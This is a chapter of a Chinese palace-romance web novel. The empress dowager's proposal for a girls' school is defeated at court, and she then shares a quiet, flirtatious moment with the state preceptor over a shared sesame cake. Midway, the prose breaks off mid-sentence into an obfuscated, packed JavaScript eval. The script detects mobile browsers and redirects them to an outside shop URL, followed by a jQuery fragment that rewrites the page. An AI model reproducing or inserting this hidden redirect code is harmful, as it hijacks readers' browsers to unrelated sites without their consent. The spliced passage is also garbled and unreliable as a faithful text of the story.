这日陈晚荣照例去学堂检查二人课业时,意外在门口看到了一个小小的身影。
三岁的宴居坐在石阶上,手里抱着一卷不知从哪翻出来的书,正歪头专注看着。
离得近了,陈晚荣才发现,宴居原是将书拿反了——她尚未到开蒙读书的年纪,没人教她识字,自然也就不知道书该如何拿。
看着她满脸费解的神情,陈晚荣不知怎的,想起一桩自少女时就记在心头的事来。
从前她在街头,常能看到卖身的女子,有因灾荒的,有因欠债的,也有被夫家转手发卖的。
每每怜其无处可去,她便将人买下,带回家中安顿。
父亲曾因此事数落过她数回,要她别总当那活菩萨,说天下有难之人何其多也,轮不到她一个一个去救完。
可她总不甘心,甚至想过,如果这世道待女子更宽厚些,譬如放宽女子读书的限制,是不是那等命如浮萍的女子就会更少一些。
后来见过何辞白后,她就更加坚定了这个想法。坦白来说,她步步为营筹谋至今,除去保全自个以外,也有一部分缘由,是存了这等不足为外人道的心思。
陈晚荣蹲下身,将宴居手中的书扶正,又摸了摸她的脑袋,心中已是暗暗做了决定。
几日后的朝会。
近些时候恰逢各地官学修缮请银的折子都递了上来,此事涉及民间教化,朝臣们自然争相进言,议论纷纷。
陈晚荣听了一会儿,忽觉眼下就是个不错的机会,索性也将这些日埋在心底的想法,借着这桩事引了出来。
“说起教化一事,本宫倒是想到一节。京中官学所收,历来皆为男童,官宦人家的女儿若要识字,除去个别能就读书院者,多半只能靠府中延请教习。然这教习并非每户都能请得起,更遑论寻常百姓家的女儿。本宫想着,可否在京中另设蒙学一处,收适龄女童入学,先教以识字、算术与基本礼仪,费用由太仓拨给,不必太多,且试行一年看看成效。”
她自认措辞十分小心,只将“允许女子入学”裹成一个很小的,看似无害的提议,想在这延续了多年的旧制里,撬出一道缝隙来。
但朝臣们何许人也,自然能看明白这桩提议背后,她的真正意图究竟为何。
果然,没过多久,最先反对的人就站了出来——是礼部左侍郎,其人姓周,是朝中保守派里的顽固势力之一。
此时他恭恭敬敬朝着珠帘方向行了一礼,而后开口道。
“太后容禀。《礼记·内则》有云:‘女子十年不出,姆教婉娩听从。’女子教化自古皆在家由母训完成。此乃圣人之制。另设女学,于制无据,于礼不合。况男女有别,学堂乃育才取仕之所,女子不应科举,入学所为何事?恐徒增靡费,无益于国。”
陈晚荣心中冷笑,面上却不显,仍是那副惯常的温和模样,颔首应道。
“大人所言甚是,女子确不应科举——至少眼下如此。但本宫所提的蒙学,教的不过是识字算术,与科举取仕无关。一个识字的母亲教出来的孩子,与一个目不识丁的母亲教出来的孩子,大人觉得哪个于国更有益处?”
说到“识字的母亲”这个词时,她顿了一下,纵使心中并不认同女子读书只为做得好母亲,可眼下阻挠重重,也只能顺着对方的话头说下去,才有转圜的余地。
那位周侍郎闻言悻悻退下,岂料陈晚荣还未来得及松上一口气,忽见另一头竟又有一人走出——这次反驳的,是户部的一名臣子。
“太后虽言‘不必太多’,臣斗胆细算:学舍修缮、教习俸禄、笔墨纸砚,一处蒙学一年少说也得数百两。京中一处倒也罢了,若各州府效仿,数十处便是上万两。新朝初立,太仓尚需拨付赈灾修堤之资,边境防务亦不可松懈,此时增设新学,臣以为时机未到。”
这一驳比上一驳更难应付,对方甚至没说此事“不该做”,只在指出“时机不对。”
况依大宁如今的状况来看,钱财所需部分,确是那板上钉钉的难题。
这次,陈晚荣的回应比上次要慢上一些,言语也简短了许多。
“本宫说的是京中试行一处,又何来各州效仿之说?”
那名臣子却不肯就此作罢,目光直直地逼向珠帘方向,声色俱厉道。
“此例一开,地方上请设者必多,那敢问到时,太后是批还是不批?”
这一声质问响彻殿内,掷地有声,直教陈晚荣默了许久,竟难得不知该如何回应。
前两轮争辩形成僵局后,殿内短暂安静下来,满殿的目光,不约而同都投向了同一处。
大长公主从方才太后开口时,就再未发一言。
他们在等大长公主开口。
陈晚荣也将视线转向宋清平,只见她面上平静如水,直到注意到陈晚荣的目光后,她嘴角终于多了一丝笑意,尔后,她缓声开口。
“荣儿这番用心,本宫是明白的。女子识字,于国于家,确有裨益。”
听到“荣儿”这个称呼后,陈晚荣已明白了她的意思,心也慢慢沉了下去。
果然,宋清平在肯定了她的说辞后,又看向座下群臣,继续道。
“只是此事关乎教化根本,牵一发而动全身,仓促施行恐有疏漏。不若先交由礼部同太常寺拟个详细的章程,将所需银两、学制规矩、教习来源等诸事一一理清,呈上来后再行定夺。”
礼部和太常寺中,几乎是清一色的保守派人士,这份章程最后投进去会如何,结果不言而喻。
大长公主此言一出,满朝文武立刻明白了风向,原本还有几个想要支持太后的朝臣,此时也默默将踏出的步子重新收了回去。
陈晚荣闭上双目,认命似的,在心底叹了口气。再睁眼时,她已恢复了往日的镇定模样,声音平静,听不出一丝波澜。
“殿下所言甚是。便依殿下之意,交由礼部办理。”
没了再争辩下去的需要,不多时,朝会也就散了去。
下朝时,云岚已候在殿外,见了陈晚荣,立马上前一步,扶着她往回走,但见她面色如常,看不出有什么异样。
只是回去的这段路上,陈晚荣始终未发一言。
回到寿康宫后,她照常坐下批折子,可落笔时,才发觉笔尖是干的,原是她竟连墨都未蘸。
……
正午时,无遗来到了寿康宫中。
国师没有每日觐见太后的惯例,况无遗每次寻她,几乎只为公事。
因而陈晚荣乍一见他,还当是有什么事情亟待处理时,却见无遗伸手,从袖中取出一只纸包,递到她面前。
陈晚荣定睛一看,那纸包边角还沁着几点油星,应是无遗给她买的烧饼。
她微微一愣。
“国师哪来的这个?”
无遗道:“娘娘曾托臣带过此物,因而路过时见有人在卖,臣便顺手带了些。”
从国师殿到寿康宫之间的这段路,并不经过任何市井。
但陈晚荣还是笑了笑,接过烧饼,为他倒了杯茶后,便打开纸包,自顾自地吃了起来。
她已经很久没吃过烧饼了。
自打做了太后,御膳房准备的都是精致宫膳,当然不会有这等市井吃食。
咬下第一口时,她又尝到了曾经那种熟悉的味道。
从前在相府时,她就格外喜食此物。陈怀仁清楚这一点,因而每次外出回府时,他总会记得给她带几个烧饼回来。
陈晚荣吸了吸鼻子,努力将涌上心头的那股酸涩重新咽回去。
烧饼吃到一半时,她忽然听到无遗开口。
“娘娘今日,心绪似是不大好。”
陈晚荣将烧饼放下,抬眼看他。
“国师是怎么看出来的?”
每回心情不好时,她都自认掩饰得很好,也不知今日他是如何发现的。
无遗顿了一下,淡淡开口。
“娘娘今日散朝回宫时,在长廊拐角处停了两回。”
陈晚荣挑了挑眉。
“那又如何?”
无遗继续道。
“平日里娘娘即便腿脚不便,也至多在柱子后面停一回,不教旁人看见。今日却停了两回,第二回是在无遮无挡的地方。”
陈晚荣从未想过他会注意这些,一时也多了几分好奇。
“还有呢?”
无遗的目光落在她膝侧,那只方才她没有用来拿烧饼的左手上,犹豫了一瞬,又道。
“……娘娘心绪不佳时,左手会按一下膝盖,但往往只按一下就会松开,不会再按第二下。”
他垂下眼帘,看了一眼自己手中的茶碗。
“今日,从臣进门后数起,娘娘已按了三次。”
这一句出口后,殿内陷入了一片寂静。
就在陈晚荣以为他已说完,正欲接话,却见他的唇动了动,再次开口时,声音也比前两次要轻上许多。
“还有一事。每逢娘娘心绪不宁,寿康宫的灯,总会比平日熄得要晚一些。”
话音刚落,他端起茶碗,饮了一口,动作仍如平时一般从容。
只是今日这份从容,颇有些刻意。
陈晚荣低下头,兀自沉默了一会儿。
国师殿与寿康宫间
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722648|204799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
隔着数重宫墙,他知道她的灯几时熄,那便只有一个解释。
思及此,她嘴角微微上扬,低头看了看手中剩下的半块烧饼,忽然用纸包着递过去,又用手背轻轻碰了碰无遗的指尖,示意他接过。
无遗伸出手来,陈晚荣便将纸包放到他手中,指尖也随之碰到了他的掌心,停了约有半息。
察觉到她的动作后,无遗的手指微微缩了一下,接过烧饼后,便迅速将手收了回去。
陈晚荣将这些尽收眼底,又看向他那张无悲无喜的面孔,眼中不自觉地,就多出几分戏谑的意味来。
“国师平日里,都是这般留意旁人的吗?”
闻言,无遗又沉默了一会儿,再开口时,声音也比方才要低了一些。
“观人知象,道家分内之事。”
陈晚荣轻笑一声,倒也没再为难他,话锋一转,便提了今日在朝上那桩事,笑意也在说到这里时,慢慢地从她脸上退了下去。
“今日早朝,本宫说‘女子识字于国有益”,用的理由是‘识字的母亲能教出更好的臣子’。”
她顿了顿,看向他时,眼底却流露出几分哀伤,语气里也多了几分平日里绝不会有的,那种小心翼翼的意味。
“国师觉得,这个理由好笑吗?”
无遗迎上她的目光,片刻后,轻轻摇了摇头。
“道不同,则言不同。对听不懂的人自然要换一种说法。况……”
他顿了顿,又换了一种语气,郑重道。
“娘娘,这世间有许多正道,起初也都是以歪理走通的。”
他这话说得一本正经,陈晚荣却听明白了背后深意,一时被逗得笑出了声。
“看不出来,国师竟也有这般风趣的时候。”
无遗颔首,低头去饮茶时,背后的素缨也随着他俯身的动作轻轻一荡,不知怎的,竟未循着惯常的方向垂落,而是越过他的肩头,朝着陈晚荣这一侧飘过来,末端堪堪悬在茶碗上方,眼看就要沾进茶水里。
无遗察觉到了,抬手欲拨,不料手还未抬到一半,另一只手却已先一步伸了过来,再回过神时,那条飘带的末端已被陈晚荣攥在了手里。
无遗的手僵在原处,进也不是,退也不是,最后只得缓缓收回,重新扶住茶碗。
“道家不是最讲究清静无为么?”陈晚荣捏着那截飘带,眼底也多了一丝笑:“怎么偏国师这缨子,总爱往我这头飘?”
无遗扶在茶碗边沿的手下意识握紧了些,并未答话。
但陈晚荣也不需他答,只盯着他略微窘迫的模样,坏心眼地多瞧了几眼后,这才抬起手,替他将素缨往肩后拨去。
经过他颈侧时,她的指背擦过了那一小片皮肤。
无遗的喉结微微动了一下。
很轻,但那阵透过皮肤传来的震颤,还是顺着指背传到了她这里。
飘带被拨到肩后,本该就此收手,可她的指尖却仍勾着那飘带末端,稍稍带了一段。
丝滑的触感从指腹滑过,她的手指也无意识收拢了些。
殿内彻底静下来,几乎只余了二人刻意放缓的呼吸声。
陈晚荣抬眼望去,见无遗似乎比方才坐得要更正了些,像是连呼吸都在算着分寸,唯恐多出的那一缕会顺着飘带,泄露到她指尖上去。
陈晚荣弯了弯眼,内心也在此时浮现出一丝不合时宜的,颇有些孩子气的念头。
摸到了。
她心心念念盯了这飘带好几年,这会儿终于摸到了。
飘带被她的手指勾住时,无遗的半边身子也因为这一丝微弱的力道,极轻地朝她这边偏了一点。
然后她松手,任飘带无声地垂了回去。
无遗端在手中的茶碗轻轻晃了下,茶水险些漫出碗沿。但很快,他就稳住了自己的动作,将茶碗放回到案上。
碗底与桌案相触,磕出一声难得的脆响。
“臣告退。”
他向她行了一礼,仪态仍如往常一般,带着修道之人独有的端方。
但他转身离开时,陈晚荣还是注意到,他的步子似比往日要快上一些。
等他的背影消失在门口的那一刻,陈晚荣收回目光,正要去拿搁在一旁的折子,余光却扫到了方才他坐过的位置。
案上空着的纸包中,此时多出了半块烧饼。
是她递给无遗的那半,但并非完好无缺,露在纸包外面的一角,有被咬过的痕迹。
他吃了一口,就一口。
陈晚荣拿起他剩下的半边烧饼,歪头笑了一下,就着他方才咬过的地方,慢慢将那烧饼吃完。